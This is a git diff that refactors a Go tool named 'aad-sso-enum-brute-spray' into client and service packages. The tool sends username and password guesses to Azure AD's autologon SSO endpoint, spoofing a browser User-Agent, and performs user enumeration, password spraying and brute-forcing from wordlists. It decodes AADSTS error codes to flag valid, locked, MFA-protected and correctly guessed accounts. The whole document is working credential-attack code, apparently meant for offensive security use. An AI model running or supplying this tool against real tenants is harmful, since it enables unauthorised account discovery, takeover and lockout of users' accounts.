diff --git a/cmd/main.go b/cmd/main.go
index 2576082..361074f 100644
--- a/cmd/main.go
+++ b/cmd/main.go
@@ -1,199 +1,40 @@
package main
import (
+ "aad-sso-enum-brute-spray/pkg/clients"
+ "aad-sso-enum-brute-spray/pkg/services"
"bufio"
- "encoding/xml"
"flag"
- "fmt"
"io"
- "io/ioutil"
"log"
- "net/http"
"os"
"strings"
"sync"
"time"
-
- "github.com/google/uuid"
)
-
-type stringFlag struct {
+type Flag struct {
set bool
value string
}
-type xmlStruct struct {
- Dtext string `xml:"Body>Fault>Detail>error>internalerror>text"`
-}
-
-func (sf *stringFlag) Set(x string) error {
+func (sf *Flag) Set(x string) error {
sf.value = x
sf.set = true
return nil
}
-func (sf *stringFlag) String() string {
+func (sf *Flag) String() string {
return sf.value
}
var (
- email stringFlag
- password stringFlag
- emailsFile stringFlag
- passwordsFile stringFlag
- output io.Writer
+ email Flag
+ password Flag
+ emailsFile Flag
+ passwordsFile Flag
wg sync.WaitGroup
)
-func requestAzureActiveDirectory(domain string, user string, password string) {
- requestid := uuid.New()
- MessageID := uuid.New()
- userID := uuid.New()
- now := time.Now()
- creates := now.Format(time.RFC3339Nano)
- expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano)
- url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String()
- body := strings.NewReader(`
-
-
- http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
- ` + url + `
- urn:uuid:` + MessageID.String() + `
-
-
- ` + creates + `
- ` + expires + `
-
-
- ` + user + `
- ` + password + `
-
-
-
-
-
- http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
-
-
- urn:federation:MicrosoftOnline
-
-
- http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
-
-
-
-`)
- // create a request object
- req, _ := http.NewRequest(
- "POST",
- url,
- body,
- )
- // add a request header
- req.Header.Add("Content-Type", "application/json; charset=UTF-8")
- req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50")
- // send an HTTP using `req` object
- res, err := http.DefaultClient.Do(req)
- // check for response error
- if err != nil {
- log.Fatal("Error:", err)
- }
- // read response body
- data, _ := ioutil.ReadAll(res.Body)
- // close response body
- res.Body.Close()
- // print response status and body
- if res.StatusCode != 200 {
- getResults(getErrorCode(string(data)), user, password)
- } else {
- fmt.Fprintln(output, user+":"+password+" -> Correct credentials")
- }
- defer wg.Done()
-}
-
-func enumUsers(users_file string, password string) {
-
- users, err := os.Open(users_file)
- if err != nil {
- log.Fatal(err)
- }
- defer users.Close()
- scanner_users := bufio.NewScanner(users)
- for scanner_users.Scan() {
- wg.Add(1)
- user := scanner_users.Text()
- domain := strings.Split(user, "@")[1]
- go requestAzureActiveDirectory(domain, user, password)
- }
- if err := scanner_users.Err(); err != nil {
- log.Fatal(err)
- }
-}
-
-func passwordAttack(passwords_file string, user string, domain string) {
-
- passwords, err := os.Open(passwords_file)
- if err != nil {
- log.Fatal(err)
- }
- defer passwords.Close()
- scanner_passwords := bufio.NewScanner(passwords)
- for scanner_passwords.Scan() {
- wg.Add(1)
- go requestAzureActiveDirectory(domain, user, scanner_passwords.Text())
- }
- if err := scanner_passwords.Err(); err != nil {
- log.Fatal(err)
- }
-}
-
-func bruteForcing(users_file string, passwords_file string) {
- users, err := os.Open(users_file)
- if err != nil {
- log.Fatal(err)
- }
- defer users.Close()
- scanner_users := bufio.NewScanner(users)
- for scanner_users.Scan() {
- user := scanner_users.Text()
- domain := strings.Split(user, "@")[1]
- passwordAttack(passwords_file, user, domain)
- }
- if err := scanner_users.Err(); err != nil {
- log.Fatal(err)
- }
-}
-
-func getErrorCode(xmlcode string) string {
- // Extract error code from xml response
- x := xmlStruct{}
- _ = xml.Unmarshal([]byte(xmlcode), &x)
- errorCode := strings.Split(x.Dtext, ":")[0]
- return errorCode
-}
-
-func getResults(errorCode string, user string, password string) {
-
- switch {
- case errorCode == "AADSTS81016":
- fmt.Fprintln(output, user+":"+password+" -> Invalid STS request")
- case errorCode == "AADSTS50053":
- fmt.Fprintln(output, user+":"+password+" -> Locked")
- case errorCode == "AADSTS50126":
- fmt.Fprintln(output, user+":"+password+" -> Bad Password")
- case errorCode == "AADSTS50056":
- fmt.Fprintln(output, user+":"+password+" -> Exists w/no password")
- case errorCode == "AADSTS50014":
- fmt.Fprintln(output, user+":"+password+" -> Exists, but max passthru auth time exceeded")
- case errorCode == "AADSTS50076":
- fmt.Fprintln(output, user+":"+password+" -> Need mfa")
- case errorCode == "AADSTS700016":
- fmt.Fprintln(output, user+":"+password+" -> No app")
- case errorCode == "AADSTS50034":
- fmt.Fprintln(output, user+":"+password+" -> No user")
- }
-}
-
func init() {
flag.Var(&email, "email", "Example: user@domain.com")
flag.Var(&password, "password", "Example: P@ssw0rd!")
@@ -202,21 +43,20 @@ func init() {
}
func main() {
-
flag.Parse()
-
filename := "output-" + time.Now().Format("20060102150405") + ".txt"
fd, err := os.Create(filename)
if err != nil {
log.Print(err)
os.Exit(1)
}
- output = io.MultiWriter(os.Stdout, fd)
+ output := io.MultiWriter(os.Stdout, fd)
if email.set && password.set {
wg.Add(1)
domain := strings.Split(email.value, "@")[1]
- go requestAzureActiveDirectory(domain, email.value, password.value)
+ client := clients.NewAzureClient()
+ go client.GetAzureActiveDirectory(domain, email.value, password.value,&wg,output)
}
if emailsFile.set {
if _, err := os.Stat(emailsFile.value); os.IsNotExist(err) {
@@ -231,14 +71,37 @@ func main() {
}
}
if passwordsFile.set && emailsFile.set {
- bruteForcing(emailsFile.value, passwordsFile.value)
+ bruteForcing(emailsFile.value, passwordsFile.value, output)
}
if email.set && passwordsFile.set {
domain := strings.Split(email.value, "@")[1]
- passwordAttack(passwordsFile.value, email.value, domain)
+ client := clients.NewAzureClient()
+ passwordAttack := services.NewPasswordAttack(passwordsFile.value,email.value,domain,client,&wg, output)
+ passwordAttack.Execute()
}
if emailsFile.set && password.set {
- enumUsers(emailsFile.value, password.value)
+ client := clients.NewAzureClient()
+ enumUsers := services.NewEnumUsers(emailsFile.value, password.value,client,&wg,output)
+ enumUsers.Execute()
}
wg.Wait()
}
+
+func bruteForcing(usersFile string, passwordsFile string, writer io.Writer) {
+ users, err := os.Open(usersFile)
+ if err != nil {
+ log.Fatal(err)
+ }
+ defer users.Close()
+ scannerUsers := bufio.NewScanner(users)
+ for scannerUsers.Scan() {
+ user := scannerUsers.Text()
+ domain := strings.Split(user, "@")[1]
+ client := clients.NewAzureClient()
+ passwordAttack := services.NewPasswordAttack(passwordsFile, user, domain, client, &wg, writer)
+ passwordAttack.Execute()
+ }
+ if err := scannerUsers.Err(); err != nil {
+ log.Fatal(err)
+ }
+}
diff --git a/pkg/clients/AzureClient.go b/pkg/clients/AzureClient.go
new file mode 100644
index 0000000..b6adcdb
--- /dev/null
+++ b/pkg/clients/AzureClient.go
@@ -0,0 +1,114 @@
+package clients
+
+import (
+ "aad-sso-enum-brute-spray/pkg/dto"
+ "encoding/xml"
+ "fmt"
+ "github.com/google/uuid"
+ "io"
+ "io/ioutil"
+ "log"
+ "net/http"
+ "strings"
+ "sync"
+ "time"
+)
+
+type AzureClient struct {}
+
+func NewAzureClient() *AzureClient {
+ return &AzureClient{}
+}
+
+func (azc *AzureClient) GetAzureActiveDirectory(domain string, user string, password string, wg *sync.WaitGroup, writer io.Writer) {
+ requestid := uuid.New()
+ MessageID := uuid.New()
+ userID := uuid.New()
+ now := time.Now()
+ creates := now.Format(time.RFC3339Nano)
+ expires := now.Add(time.Minute * 10).Format(time.RFC3339Nano)
+ url := "https://autologon.microsoftazuread-sso.com/" + domain + "/winauth/trust/2005/usernamemixed?client-request-id=" + requestid.String()
+ body := strings.NewReader(`
+
+
+ http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
+ ` + url + `
+ urn:uuid:` + MessageID.String() + `
+
+
+ ` + creates + `
+ ` + expires + `
+
+
+ ` + user + `
+ ` + password + `
+
+
+
+
+
+ http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
+
+
+ urn:federation:MicrosoftOnline
+
+
+ http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
+
+
+
+`)
+ // create a request object
+ req, _ := http.NewRequest(
+ "POST",
+ url,
+ body,
+ )
+ // add a request header
+ req.Header.Add("Content-Type", "application/json; charset=UTF-8")
+ req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/94.0.992.50")
+ // send an HTTP using `req` object
+ res, err := http.DefaultClient.Do(req)
+ // check for response error
+ if err != nil {
+ log.Fatal("Error:", err)
+ }
+ // read response body
+ data, _ := ioutil.ReadAll(res.Body)
+ // close response body
+ res.Body.Close()
+ // print response status and body
+ if res.StatusCode != 200 {
+ errorCodeMessage := getErrorCodeMessage(getErrorCode(string(data)))
+ errorMessage := fmt.Sprintf("%s:%s -> %s", user, password, errorCodeMessage)
+ fmt.Fprintln(writer, errorMessage)
+ } else {
+ fmt.Fprintln(writer, fmt.Sprintf("%s:%s -> Correct credentials", user, password))
+ }
+ defer wg.Done()
+}
+
+func getErrorCode(xmlcode string) string {
+ // Extract error code from xml response
+ azureErrorResponseDto := dto.AzureErrorResponseDto{}
+ _ = xml.Unmarshal([]byte(xmlcode), &azureErrorResponseDto)
+ errorCode := strings.Split(azureErrorResponseDto.Error, ":")[0]
+ return errorCode
+}
+
+func getErrorCodeMessage(errorCode string) string {
+ var errorCodesMessage = map[string]string{
+ "AADSTS81016": "Invalid STS request",
+ "AADSTS50053": "Locked",
+ "AADSTS50126": "Bad Password",
+ "AADSTS50056": "Exists w/no password",
+ "AADSTS50014": "Exists, but max passthru auth time exceeded",
+ "AADSTS50076": "Need mfa",
+ "AADSTS700016": "No app",
+ "AADSTS50034": "No user",
+ }
+ if errorCodeMessage := errorCodesMessage[errorCode]; errorCodeMessage != "" {
+ return errorCodeMessage
+ }
+ return "No error message for ErrorCode: " + errorCode
+}
\ No newline at end of file
diff --git a/pkg/dto/AzureErrorResponseDto.go b/pkg/dto/AzureErrorResponseDto.go
new file mode 100644
index 0000000..183c311
--- /dev/null
+++ b/pkg/dto/AzureErrorResponseDto.go
@@ -0,0 +1,5 @@
+package dto
+
+type AzureErrorResponseDto struct {
+ Error string `xml:"Body>Fault>Detail>error>internalerror>text"`
+}
diff --git a/pkg/services/EnumUsers.go b/pkg/services/EnumUsers.go
new file mode 100644
index 0000000..fbfa4bd
--- /dev/null
+++ b/pkg/services/EnumUsers.go
@@ -0,0 +1,41 @@
+package services
+
+import (
+ "aad-sso-enum-brute-spray/pkg/clients"
+ "bufio"
+ "io"
+ "log"
+ "os"
+ "strings"
+ "sync"
+)
+
+type EnumUsers struct {
+ usersFile string
+ password string
+ azureClient *clients.AzureClient
+ wg *sync.WaitGroup
+ writer io.Writer
+}
+
+func NewEnumUsers(usersFile string, password string, azureClient *clients.AzureClient, wg *sync.WaitGroup, writer io.Writer) *EnumUsers {
+ return &EnumUsers{usersFile: usersFile, password: password, azureClient: azureClient, wg: wg, writer: writer}
+}
+
+func (eu *EnumUsers) Execute() {
+ users, err := os.Open(eu.usersFile)
+ if err != nil {
+ log.Fatal(err)
+ }
+ defer users.Close()
+ scannerUsers := bufio.NewScanner(users)
+ for scannerUsers.Scan() {
+ eu.wg.Add(1)
+ user := scannerUsers.Text()
+ domain := strings.Split(user, "@")[1]
+ go eu.azureClient.GetAzureActiveDirectory(domain, user, eu.password, eu.wg, eu.writer)
+ }
+ if err := scannerUsers.Err(); err != nil {
+ log.Fatal(err)
+ }
+}
diff --git a/pkg/services/PasswordAttack.go b/pkg/services/PasswordAttack.go
new file mode 100644
index 0000000..9f36e17
--- /dev/null
+++ b/pkg/services/PasswordAttack.go
@@ -0,0 +1,40 @@
+package services
+
+import (
+ "aad-sso-enum-brute-spray/pkg/clients"
+ "bufio"
+ "io"
+ "log"
+ "os"
+ "sync"
+)
+
+type PasswordAttack struct {
+ passwordFile string
+ user string
+ domain string
+ azureClient *clients.AzureClient
+ wg *sync.WaitGroup
+ writer io.Writer
+}
+
+func NewPasswordAttack(passwordFile string, user string, domain string, azureClient *clients.AzureClient,
+ wg *sync.WaitGroup, writer io.Writer) *PasswordAttack {
+ return &PasswordAttack{passwordFile: passwordFile, user: user, domain: domain, azureClient: azureClient, wg: wg, writer: writer}
+}
+
+func (p *PasswordAttack) Execute() {
+ passwords, err := os.Open(p.passwordFile)
+ if err != nil {
+ log.Fatal(err)
+ }
+ defer passwords.Close()
+ scannerPasswords := bufio.NewScanner(passwords)
+ for scannerPasswords.Scan() {
+ p.wg.Add(1)
+ go p.azureClient.GetAzureActiveDirectory(p.domain, p.user, scannerPasswords.Text(), p.wg, p.writer)
+ }
+ if err := scannerPasswords.Err(); err != nil {
+ log.Fatal(err)
+ }
+}